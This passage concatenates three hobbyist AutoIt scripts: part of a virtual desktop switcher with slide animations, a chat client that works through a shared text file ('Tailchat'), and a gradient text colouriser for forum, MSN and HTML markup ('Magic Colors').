				ExitLoop
			Case $two
				GUIDelete()
				_hidewins()
				$activedesk = 2
				_showwins()
				ExitLoop
			Case $three
				GUIDelete()
				_hidewins()
				$activedesk = 3
				_showwins()
				ExitLoop
			Case $four
				GUIDelete()
				_hidewins()
				$activedesk = 4
				_showwins()
				ExitLoop
		EndSwitch
	WEnd
	$inaction = 0
EndFunc   ;==>QuickSelect

Func _nextdesk()
	If $inaction = 1 then return
	$inaction = 1
	If $texton = 1 Then _text2()
	_winget()
	_animate1("r")
	_hidewins()
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	_showwins()
	_animate2()
	$inaction = 0
	_text1()
EndFunc   ;==>_nextdesk

Func _prevdesk()
	If $inaction = 1 then return
	$inaction = 1
	If $texton = 1 Then _text2()
	_winget()
	_animate1("l")
	_hidewins()
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	_showwins()
	_animate3()
	$inaction = 0
	_text1()
EndFunc   ;==>_prevdesk

Func _movetonext()
	If $inaction = 1 then return
	$inaction = 1
	_winget()
	IniDelete (@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1])
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1],"moved")
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	WinSetState($winlist[1],"",@SW_HIDE)
	$inaction = 0
	_nextdesk()
EndFunc   ;==>_movetonext

Func _movetoprev()
	If $inaction = 1 then return
	$inaction = 1
	_winget()
	IniDelete (@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1])
	$activedesk = $activedesk - 1
	If $activedesk = 0 Then $activedesk = 4
	Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$winlist[1],"moved")
	$activedesk = $activedesk + 1
	If $activedesk = 5 Then $activedesk = 1
	WinSetState($winlist[1],"",@SW_HIDE)
	$inaction = 0
	_prevdesk()
EndFunc   ;==>_movetoprev

Func _winget()
	$y = 0
	$var = WinList()
	IniDelete(@tempdir & "\pangaeadesktops.ini",$activedesk)
	For $x = 1 to $var[0][0]
		If $var[$x][0] <> "" AND IsVisible($var[$x][1]) AND $var[$x][0] <> "Program Manager" AND $var[$x][0] <> "Desktop 1" AND $var[$x][0] <> "Desktop 2" AND $var[$x][0] <> "Desktop 3" AND $var[$x][0] <> "Desktop 4" Then
			Iniwrite(@tempdir & "\pangaeadesktops.ini",$activedesk,$var[$x][0],$var[$x][1])
			$y = $y + 1
			$winlist[$y] = $var[$x][0]
		EndIf
	Next
	$winlist[0] = $y
EndFunc   ;==>_winget

Func _panic()
	for $y = 1 to 4
		$var = IniReadSection(@tempdir & "\pangaeadesktops.ini", $y)
		If @error = 0 then
			For $x = 1 To $var[0][0]
				WinSetState($var[($var[0][0] +1) -$x][0],"",@SW_SHOW)
			Next
		EndIf
	next
	FileDelete(@tempdir & "\pangaeadesktops.ini")
	FileDelete(@tempdir & "\pangaeaprtsc.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc1.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc2.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc3.jpg")
	FileDelete(@tempdir & "\pangaeaprtsc4.jpg")
	exit
EndFunc   ;==>_panic

Func _animate1($direction)
	If $direction ="r" Then
		$activedesktemp = $activedesk + 1
		If $activedesktemp = 5 Then $activedesktemp = 1
	ElseIf $direction = "l" Then
		$activedesktemp = $activedesk - 1
		If $activedesktemp = 0 Then $activedesktemp = 4
	EndIf
	DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc.jpg", "int", 85)
	DllCall("captdll.dll", "int", "CaptureScreen", "str", @tempdir & "\pangaeaprtsc" & $activedesktemp & ".jpg", "int", 85)
	$hwnd = GUICreate("AnimatedWindow",@desktopwidth,@desktopheight,0,0,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	GUICtrlCreatePic(@tempdir & "\pangaeaprtsc.jpg",0,0,@desktopwidth,@desktopheight)
	GUISetState()
EndFunc   ;==>_animate1

Func _animate2()
	DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $hwnd, "int", 500, "long", 0x00050002);slide out to left
	GUIDelete($hwnd)
EndFunc   ;==>_animate2

Func _animate3()
	DllCall("user32.dll", "int", "AnimateWindow", "hwnd", $hwnd, "int", 500, "long", 0x00050001);slide out to right
	GUIDelete($hwnd)
EndFunc   ;==>_animate3

Func _text1()
	$text = "Desktop " & $activedesk
	TrayItemSetText($desktopitem,$text)
	$textwin = TextWindow($text,600,40,"",-1,10,10,0xFF0000)
	GUISetState()
	$texton = 1
	$texttime = TimerInit()
EndFunc   ;==>_text1

Func _text2()
	GUIDelete($textwin)
	$texton = 0
EndFunc   ;==>_text2

Func OnAutoItExit()
	_panic()
EndFunc   ;==>OnAutoItExit

Func IsVisible($handle)
	If BitAnd(WinGetState($handle),2) Then 
		Return 1
	Else
		Return 0
	EndIf
EndFunc   ;==>IsVisible

Func TextWindow($zText,$width,$height,$font="Microsoft Sans Serif",$weight=1000,$x=-1,$y=-1,$color=-1)
	Local Const $ANSI_CHARSET = 0
	Local Const $OUT_CHARACTER_PRECIS = 2
	Local Const $CLIP_DEFAULT_PRECIS = 0
	Local Const $PROOF_QUALITY = 2
	Local Const $FIXED_PITCH = 1
	Local Const $RGN_XOR = 3
	
	If $font = "" Then $font = "Microsoft Sans Serif"
	If $weight = -1 Then $weight = 1000
	Local $gui = GUICreate("Text Window",$width,$height,$x,$y,$WS_POPUP,$WS_EX_TOOLWINDOW + $WS_EX_TOPMOST)
	If $color <> -1 Then GUISetBkColor($color)
	Local $hDC= DLLCall("user32.dll","int","GetDC","hwnd",$gui)
	Local $hMyFont = DLLCall("gdi32.dll","hwnd","CreateFont","int",$height, _
			"int",0,"int",0,"int",0,"int",1000,"int",0, _
			"int",0,"int",0,"int",$ANSI_CHARSET, _
			"int",$OUT_CHARACTER_PRECIS,"int",$CLIP_DEFAULT_PRECIS, _
			"int",$PROOF_QUALITY,"int",$FIXED_PITCH,"str",$font )
	Local $hOldFont = DLLCall("gdi32.dll","hwnd","SelectObject","int",$hDC[0], _
			"hwnd",$hMyFont[0])
	DLLCall("gdi32.dll","int","BeginPath","int",$hDC[0])
	DLLCall("gdi32.dll","int","TextOut","int",$hDC[0],"int",0,"int",0, _
			"str",$zText,"int",StringLen($zText))
	DLLCall("gdi32.dll","int","EndPath","int",$hDC[0])
	Local $hRgn1 = DLLCall("gdi32.dll","hwnd","PathToRegion","int",$hDC[0])
	Local $rc = DLLStructCreate("int;int;int;int")
	DLLCall("gdi32.dll","int","GetRgnBox","hwnd",$hRgn1[0], _
			"ptr",DllStructGetPtr($rc))
	Local $hRgn2 = DLLCall("gdi32.dll","hwnd","CreateRectRgnIndirect", _
			"ptr",DllStructGetPtr($rc))
	DLLCall("gdi32.dll","int","CombineRgn","hwnd",$hRgn2[0],"hwnd",$hRgn2[0], _
			"hwnd",$hRgn1[0],"int",$RGN_XOR)
	DLLCall("gdi32.dll","int","DeleteObject","hwnd",$hRgn1[0])
	DLLCall("user32.dll","int","ReleaseDC","hwnd",$gui,"int",$hDC[0])
	DLLCall("user32.dll","int","SetWindowRgn","hwnd",$gui,"hwnd",$hRgn2[0],"int",1)
	DLLCall("gdi32.dll","int","SelectObject","int",$hDC[0],"hwnd",$hOldFont[0])
	Return $gui
EndFunc   ;==>TextWindow

#include <File.au3>
#include <GUIConstants.au3>
#Include <GuiEdit.au3>
#Include <array.au3>
#Include <Misc.au3>
Opt("GUIOnEventMode", 1)
Opt('GUICloseOnESC', 1)

$selected_file = ""
$openfile = ""
$notify_on_minimize = 0
$initial = 0
$File_opened = 0
$count2 = 0
$scan2 = ""
Dim $aCurrentUSers[1]

;     Start GUI Window and Elements creation -->
$W_size_w = 320
$Wsize_h = 400
$mainWindow = GUICreate("Tailchat", $W_size_w, $Wsize_h, "", "", BitOR($WS_SIZEBOX, $WS_SYSMENU, $WS_MINIMIZEBOX))
GUISetState(@SW_SHOW)
GUISetOnEvent($GUI_EVENT_CLOSE, "CLOSEClicked")
$exitButton = GUICtrlCreateButton("Exit", $W_size_w - 90, $Wsize_h - 68, 70, 30)
GUICtrlSetOnEvent($exitButton, "CLOSEclicked")

$filemenu = GUICtrlCreateMenu("&File")
$fileitem = GUICtrlCreateMenuitem("Open", $filemenu)
GUICtrlSetOnEvent($fileitem, "FileopenButton")
$separator1 = GUICtrlCreateMenuitem("", $filemenu, 2)
$exititem = GUICtrlCreateMenuitem("Exit", $filemenu)
GUICtrlSetOnEvent($exititem, "CLOSEClicked")
$Viewmenu = GUICtrlCreateMenu("&View")
$currentusersitem = GUICtrlCreateMenuitem("Current_Users", $Viewmenu)
GUICtrlSetOnEvent($currentusersitem, "ShowUsers")
$Toolsmenu = GUICtrlCreateMenu("&Tools")
$optionsitem = GUICtrlCreateMenu("Options", $Toolsmenu)
$AwayCheck = GUICtrlCreateMenuitem("Away Notification", $optionsitem)
GUICtrlSetOnEvent($AwayCheck, "Notification")
$PushButton = GUICtrlCreateMenuitem("Always on top", $optionsitem)
GUICtrlSetOnEvent($PushButton, "PushButton")
$configcheck = GUICtrlCreateMenuitem("Remember Chatroom", $optionsitem)
GUICtrlSetOnEvent($configcheck, "ConfigCheck")


$helpmenu = GUICtrlCreateMenu("&Help")
$aboutitem = GUICtrlCreateMenuitem("About TailChat", $helpmenu)
GUICtrlSetOnEvent($aboutitem, "About")
$editControl = GUICtrlCreateEdit("", 10, 10, 300, $Wsize_h - 200, $WS_VSCROLL + $ES_AUTOVSCROLL + $ES_READONLY)
$chatControl = GUICtrlCreateEdit("", 10, $Wsize_h - 180, 300, 80, $ES_WANTRETURN)

$ChatButton = GUICtrlCreateButton("Send", 10, $Wsize_h - 90, 70, -1)
GUICtrlSetOnEvent($ChatButton, "ChatButton")

$InputControl = GUICtrlCreateInput("", 0, 20, $W_size_w, 20, $ES_READONLY)
GUICtrlSetState(-1, $gui_hide)

If (WinActive("Tailchat") = 1) and (_IsPressed("0D")) Then
	ChatButton()
EndIf

While 1
	Tailit()
	Sleep(50)
WEnd
Func Tailit()
	$error = 0
	$file = ControlGetText("Tailchat", "", $InputControl)
	$count = _FileCountLines($file)
	$scan = FileReadLine($file, $count)
	$file_contents = ""
	
	For $x = 1 To $count
		$scan3 = FileReadLine($file, $x)
		$display = _isSystemLine($file, $scan3, $x)
		If $display = 1 Then
			$file_contents &= $scan3 & @CRLF
		ElseIf $display = 0 Then
		EndIf
	Next
	if ($File_opened = 1) and ($initial = 0) Then
		GUICtrlSetData($editControl, $file_contents)
		_GUICtrlEditLineScroll($editControl, 0, $count)
		$initial = 1
	EndIf
	If $File_opened = 1 Then
		Select
			Case $count2 <> $count
				GUICtrlSetData($editControl, $file_contents)
				If BitAND(WinGetState("Tailchat"), 16) Then
					If $notify_on_minimize = 1 Then
						TrayTip("TailChat", $scan, 5, 1)
					EndIf
				EndIf
				_GUICtrlEditLineScroll($editControl, 0, $count)
			Case $scan2 <> $scan
				GUICtrlSetData($editControl, $file_contents)
				_GUICtrlEditLineScroll($editControl, 0, $count)
		EndSelect
	EndIf
	$count2 = $count
	$scan2 = $scan
EndFunc   ;==>Tailit
Func FileopenButton()
	$nologin = 0
	$old_file = ""
	If $File_opened = 1 Then
		$old_file = $selected_file
	EndIf
	Global $selected_file = FileOpenDialog("Open", @ScriptDir, "Text Files (*.*)")
	If $selected_file = "" Then
		$selected_file = $old_file
		$nologin = 1
	Else
		_logout()
	EndIf
	GUICtrlSetData($InputControl, $selected_file)
	Global $openfile = FileOpen($selected_file, 0)
	$error = @error
	$File_opened = 1
	If $nologin <> 1 Then
		_login()
	EndIf
EndFunc   ;==>FileopenButton
Func CLOSEClicked()
	If @GUI_WinHandle == $mainWindow Then
		_logout()
		FileClose($openfile)
		Exit
	Else
		GUIDelete(@GUI_WinHandle)
	EndIf
EndFunc   ;==>CLOSEClicked
Func ChatButton()
	$inputtext = ControlGetText("", "", $chatControl)
	If $File_opened = 1 Then
		$inputtext = @HOUR & ":" & @MIN & " " & @UserName & ":   " & $inputtext
		$openfilewrite = FileOpen($selected_file, 1)
		FileWriteLine($openfilewrite, $inputtext)
		GUICtrlSetData($chatControl, "")
		FileClose($openfilewrite)
	Else
		MsgBox(0, "No chat", "No chat has been logged into, nothing to send")
		GUICtrlSetData($chatControl, "")
	EndIf
EndFunc   ;==>ChatButton
Func PushButton()
	local $ischecked = _togglecheck($PushButton)
	If $ischecked = 1 Then
		WinSetOnTop("Tailchat", "", 1)
	ElseIf $ischecked = 0 Then
		WinSetOnTop("Tailchat", "", 0)
	EndIf
EndFunc   ;==>PushButton
Func _login()
	$openfilewrite = FileOpen($selected_file, 1)
	_FileWriteToLine($selected_file, 1, "##~~!!" & @UserName & "|" & @HOUR & @MIN & "|" & Random(1, 20, 1), 0)
	FileWriteLine($openfilewrite, "--> " & @UserName & " has joined this chat at " & @HOUR & ":" & @MIN)
	FileClose($openfilewrite)
EndFunc   ;==>_login
Func _logout()
	$openfilewrite = FileOpen($selected_file, 1)
	_RemoveOnlineUser()
	FileWriteLine($openfilewrite, "--> " & @UserName & " has left at " & @HOUR & ":" & @MIN)
	FileClose($openfilewrite)
EndFunc   ;==>_logout
Func Notification()
	local $ischecked = _togglecheck($AwayCheck)
	If $ischecked= 1 Then
		$notify_on_minimize = 1
	ElseIf $ischecked = 0 Then
		$notify_on_minimize = 0
	EndIf
EndFunc   ;==>Notification
Func _isSystemLine($file, $scan3, $x)
	If StringInStr($scan3, "##~~!!") <> 0 Then
		Return 0
	Else
		Return 1
	EndIf
EndFunc   ;==>_isSystemLine
Func _RemoveOnlineUser()
	Dim $atest, $aloc[1]
	_FileReadToArray($selected_file, $atest)
	For $x = 1 to (UBound($atest) - 1)
		$isme = StringInStr($atest[$x], "##~~!!" & @UserName)
		If $isme <> 0 Then
			_ArrayAdd($aloc, $x)
		EndIf
	Next
	For $y = (UBound($aloc) - 1) To 1 Step - 1
		_FileWriteToLine($selected_file, $aloc[$y], "", 1)
	Next
EndFunc   ;==>_RemoveOnlineUser
Func ShowUsers()
	If $File_opened = 1 Then
		Dim $aEntFile, $afileusers[1]
		_FileReadToArray($selected_file, $aEntFile)
		For $x = 1 To UBound($aEntFile) - 1
			If StringInStr($aEntFile[$x], "##~~!!") <> 0 Then
				$sUser = StringTrimLeft($aEntFile[$x], 6)
				$aSubUser = StringSplit($sUser, "|")
				_ArrayAdd($afileusers, $aSubUser[1])
			EndIf
		Next
		_ArrayDisplay($afileusers, "Array : aFileUsers ")
	Else
		MsgBox(0, "No Chat opened", "There are no users to display since you are not currently logged into a chat")
		GUICtrlSetData($chatControl, "")
	EndIf
EndFunc   ;==>ShowUsers
Func About()
	MsgBox(64, "About Tail Chat 2.2", "Tailchat was written in AutoIT V3.2" & @LF & @LF & "Written by : Blademonkey")
EndFunc   ;==>About
Func _togglecheck($guihandle)
	If GUICtrlRead($guihandle) = 68 Then
		GUICtrlSetState($guihandle, $GUI_checked)
		return 1
	Else
		GUICtrlSetState($guihandle, $GUI_unchecked)
		return 0 
	EndIf
EndFunc   ;==>_togglecheck

Func ConfigCheck()

		local $ischecked = _togglecheck($configcheck)
		If $ischecked= 1 Then
	 		ConfigfileSet()
		ElseIf $ischecked = 0 Then
	;~ 		$notify_on_minimize = 0
		EndIf
	EndFunc
Func ConfigfileSet()
;~ 	if fileexists("c:\tailchat.ini")=0 Then
		IniWrite("c:\tailchat.ini","chatrroms","chat1", $selected_file)
;~ 		EndIf
EndFunc

#NoTrayIcon
#include <GUIConstants.au3>
#include <Misc.au3>
#include <Color.au3>

Global Const $INI = (@ScriptDir & "\Colors.ini")
Global $Color1 = IniRead($INI, "Colors", "1", "0xFF0000")
Global $Color2 = IniRead($INI, "Colors", "2", "0x00FF00")
Global $Color3 = IniRead($INI, "Colors", "3", "0xFF0000")
Global $Color4 = IniRead($INI, "Colors", "4", "0x00FF00")
Global $Color5 = IniRead($INI, "Colors", "5", "0x0000FF")

$Dummy = GUICreate("Magic Colors", 1, 1, @DesktopWidth, @DesktopHeight)
$Window = GUICreate("Magic Colors by CoePSX", 200, 460, -1, -1, BitOr($WS_CAPTION, $WS_SYSMENU), $WS_EX_TOOLWINDOW, $Dummy)
GUICtrlCreateGroup("Category", 10, 10, 180, 75)
$ForumRadio = GUICtrlCreateRadio("Forum Post", 15, 25, 70, 15)
$OrkutRadio = GUICtrlCreateRadio("Orkut Scrap", 100, 25, 85, 15)
$MSNRadio = GUICtrlCreateRadio("MSN Text", 15, 45, 70, 15)
$MSNRadio2 = GUICtrlCreateRadio("MSN Back", 100, 45, 75, 15)
$HTMLRadio = GUICtrlCreateRadio("HTML Text", 15, 65, 75, 15)
$HTMLRadio2 = GUICtrlCreateRadio("HTML Back", 100, 65, 80, 15)
GUICtrlSetState($ForumRadio, $GUI_CHECKED)

;2 colors gradient
GUICtrlCreateGroup("Colors", 10, 90, 180, 55)
GUICtrlCreateLabel("", 15, 105, 150, 15, BitOr($SS_CENTER, $WS_BORDER))
GUICtrlSetState(-1, $GUI_DISABLE)
$ColorButton1 = GUICtrlCreateLabel("1", 16, 106, 15, 13, $SS_CENTER)
Dim $ColorExample[60]
For $i = 0 To 59
	$ColorExample[$i] = GUICtrlCreateLabel("", 30+$i*2, 106, 2, 13)
Next
$ColorButton2 = GUICtrlCreateLabel("2", 149, 106, 15, 13, $SS_CENTER)
GUICtrlSetCursor($ColorButton1, 0)
GUICtrlSetCursor($ColorButton2, 0)
$2ColorsRadio = GUICtrlCreateRadio("", 170, 105, 15, 15)
GUICtrlSetState($2ColorsRadio, $GUI_CHECKED)

;3 colors gradient
GUICtrlCreateLabel("", 15, 125, 150, 15, BitOr($SS_CENTER, $WS_BORDER))
GUICtrlSetState(-1, $GUI_DISABLE)
$ColorButton3 = GUICtrlCreateLabel("1", 16, 126, 15, 13, $SS_CENTER)
Dim $ColorExample2[26]
For $i = 0 To 25
	$ColorExample2[$i] = GUICtrlCreateLabel("", 31+$i*2, 126, 2, 13)
Next
$ColorButton4 = GUICtrlCreateLabel("2", 83, 126, 15, 13, $SS_CENTER)
Dim $ColorExample3[26]
For $i = 0 To 25
	$ColorExample3[$i] = GUICtrlCreateLabel("", 98+$i*2, 126, 2, 13)
Next
$ColorButton5 = GUICtrlCreateLabel("3", 149, 126, 15, 13, $SS_CENTER)
GUICtrlSetCursor($ColorButton3, 0)
GUICtrlSetCursor($ColorButton4, 0)
$3ColorsRadio = GUICtrlCreateRadio("", 170, 125, 15, 15)

GUICtrlCreateGroup("Settings", 10, 150, 180, 35)
$BoldCheck = GUICtrlCreateCheckbox("Bold", 15, 165, 50, 15)
$ItalicCheck = GUICtrlCreateCheckbox("Italic", 68, 165, 45, 15)
$UnderlinedCheck = GUICtrlCreateCheckbox("Underlined", 115, 165, 70, 15)

GUICtrlCreateGroup("Initial Text", 10, 190, 180, 100)
$TextBox = GUICtrlCreateInput("", 15, 205, 170, 80, BitOR($WS_VSCROLL, $ES_MULTILINE))
GUICtrlSetFont($TextBox, 8)

GUICtrlCreateGroup("Final Text", 10, 295, 180, 100)
$FinalBox = GUICtrlCreateInput("", 15, 310, 170, 80, BitOR($WS_VSCROLL, $ES_MULTILINE))
GUICtrlSetFont($FinalBox, 8)

$OK = GUICtrlCreateButton("Color it!", 10, 400, 180, 25)
$Copy = GUICtrlCreateButton("Copy", 10, 425, 60, 25)
$About = GUICtrlCreateButton("About", 70, 425, 60, 25)
$Exit = GUICtrlCreateButton("Exit", 130, 425, 60, 25)

UpdateExample()
UpdateExample2()
GUISetState(@SW_SHOW, $Dummy)
GUISetState(@SW_SHOW, $Window)

While 1
	If WinActive($Dummy, "") Then WinActivate($Window, "")
	Switch GUIGetMsg()
		Case $GUI_EVENT_CLOSE
			Exit
		Case $Exit
			Exit
		Case $ColorButton1
			$Color1 = _ChooseColor(2, $Color1, 2)
			If Not @error Then UpdateExample()
		Case $ColorButton2
			$Color2 = _ChooseColor(2, $Color2, 2)
			If Not @error Then UpdateExample()
		Case $ColorButton3
			$Color3 = _ChooseColor(2, $Color3, 2)
			If Not @error Then UpdateExample2()
		Case $ColorButton4
			$Color4 = _ChooseColor(2, $Color4, 2)
			If Not @error Then UpdateExample2()
		Case $ColorButton5
			$Color5 = _ChooseColor(2, $Color5, 2)
			If Not @error Then UpdateExample2()
		Case $About
			MsgBox(64, "Magic Colors", "-= Magic Colors =-" & @CRLF & @CRLF & "2006 - CoePSX")
		Case $Copy
			ClipPut(GUICtrlRead($FinalBox))
		Case $OK
			$PreTags = ""
			$PosTags = ""
			If GUICtrlRead($OrkutRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeOrkut(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($MSNRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeMSN(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($MSNRadio2) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeMSN2(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($ForumRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeForum(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($HTMLRadio) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeHTML(GUICtrlRead($TextBox)))
			ElseIf GUICtrlRead($HTMLRadio2) = 1 Then
				GUICtrlSetData($FinalBox, ColorizeHTML2(GUICtrlRead($TextBox)))
			EndIf
	EndSwitch
WEnd
Exit

Func ColorizeMSN($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "·#"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "·&"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "·@"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$iRed1 = _ColorGetRed($Color[$i])
			$iGreen1 = _ColorGetGreen($Color[$i])
			$iBlue1 = _ColorGetBlue($Color[$i])
			While StringLen($iRed1) < 3 
				$iRed1 = 0 & $iRed1
			WEnd
			While StringLen($iGreen1) < 3
				$iGreen1 = 0 & $iGreen1
			WEnd
			While StringLen($iBlue1) < 3
				$iBlue1 = 0 & $iBlue1
			WEnd
			$Final &= "·$(" & $iRed1 & "," & $iGreen1 & "," & $iBlue1 & ")" & $Array[$i]
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeMSN2($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "·#"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "·&"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "·@"
		$PosTags &= "·0"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		$iRed1 = _ColorGetRed($Color[$i])
		$iGreen1 = _ColorGetGreen($Color[$i])
		$iBlue1 = _ColorGetBlue($Color[$i])
		While StringLen($iRed1) < 3 
			$iRed1 = 0 & $iRed1
		WEnd
		While StringLen($iGreen1) < 3
			$iGreen1 = 0 & $iGreen1
		WEnd
		While StringLen($iBlue1) < 3
			$iBlue1 = 0 & $iBlue1
		WEnd
		$Final &= "·$,(" & $iRed1 & "," & $iGreen1 & "," & $iBlue1 & ")" & $Array[$i]
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeForum($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "[b]"
		$PosTags &= "[/b]"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "[i]"
		$PosTags &= "[/i]"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "[u]"
		$PosTags &= "[/u]"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$Final &= "[color=#" & Hex($Color[$i], 6) & "]" & $Array[$i] & "[/color]"
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeOrkut($Message)
	Dim $Color[18]
	$Color[0] = "aqua"
	$Color[1] = "blue"
	$Color[2] = "navy"
	$Color[3] = "purple"
	$Color[4] = "violet"
	$Color[5] = "pink"
	$Color[6] = "yellow"
	$Color[7] = "gold"
	$Color[8] = "orange"
	$Color[9] = "red"
	$Color[10] = "orange"
	$Color[11] = "pink"
	$Color[12] = "silver"
	$Color[13] = "gray"
	$Color[14] = "maroon"
	$Color[15] = "green"
	$Color[16] = "teal"
	$Color[17] = "lime"
	$Array = StringSplit($Message, "")
	$Final = ""
	$NowColor = ""
	$iColorInt = 0
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "[b]"
		$PosTags &= "[/b]"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "[i]"
		$PosTags &= "[/i]"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "[u]"
		$PosTags &= "[/u]"
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$NowColor = $Color[Mod($iColorInt, 18)]
			$Final &= "[" & $NowColor & "]" & $Array[$i]
			$iColorInt += 1
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	$Final &= "[/" & $NowColor & "]"
	Return $PreTags & $Final & $PosTags
EndFunc
Func ColorizeHTML($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "<b>"
		$PosTags &= "</b>"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "<i>"
		$PosTags &= "</i>"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "<u>"
		$PosTags &= "</u>"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " And $Array[$i] <> @CR And $Array[$i] <> @LF Then
			$Final &= "<font style=""color:#" & Hex($Color[$i], 6) & """>" & $Array[$i]
		Else
			$Final &= $Array[$i]
		EndIf
	Next
	$Final &= "</font>"
	Return $PreTags & $Final & $PosTags
EndFunc	
Func ColorizeHTML2($Message)
	Local $Array = StringSplit($Message, "")
	Local $Final = ""
	Local $PreTags = ""
	Local $PreTags = ""
	If GUICtrlRead($BoldCheck) = 1 Then
		$PreTags &= "<b>"
		$PosTags &= "</b>"
	EndIf
	If GUICtrlRead($ItalicCheck) = 1 Then
		$PreTags &= "<i>"
		$PosTags &= "</i>"
	EndIf
	If GUICtrlRead($UnderlinedCheck) = 1 Then
		$PreTags &= "<u>"
		$PosTags &= "</u>"
	EndIf
	If GUICtrlRead($2ColorsRadio) = 1 Then
		Local $Color = ColorGradient($Color1, $Color2, $Array[0]+1)
	Else
		Local $Color = TripleColorGradient($Color3, $Color4, $Color5, $Array[0]+1)
	EndIf
	For $i = 1 To $Array[0]
		If $Array[$i] <> " " Then
			$Final &= "<font style=""background:#" & Hex($Color[$i], 6) & """>" & $Array[$i]
		Else
			$Final &= "<font style=""background:#" & Hex($Color[$i], 6) & """> "
		EndIf
	Next
	$Final &= "</font>"
	Return $PreTags & $Final & $PosTags
EndFunc	
Func UpdateExample()
	Local $Color = ColorGradient($Color1, $Color2, 60)
	GUICtrlSetBkColor($ColorButton1, $Color1)
	For $i = 0 To 59
		GUICtrlSetBkColor($ColorExample[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton2, $Color2)
	IniWrite($INI, "Colors", "1", $Color1)
	IniWrite($INI, "Colors", "2", $Color2)
EndFunc
Func UpdateExample2()
	Local $Color = ColorGradient($Color3, $Color4, 26)
	GUICtrlSetBkColor($ColorButton3, $Color3)
	For $i = 0 To 25
		GUICtrlSetBkColor($ColorExample2[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton4, $Color4)
	$Color = ColorGradient($Color4, $Color5, 26)
	For $i = 0 To 25
		GUICtrlSetBkColor($ColorExample3[$i], $Color[$i])
	Next
	GUICtrlSetBkColor($ColorButton5, $Color5)
	IniWrite($INI, "Colors", "3", $Color3)
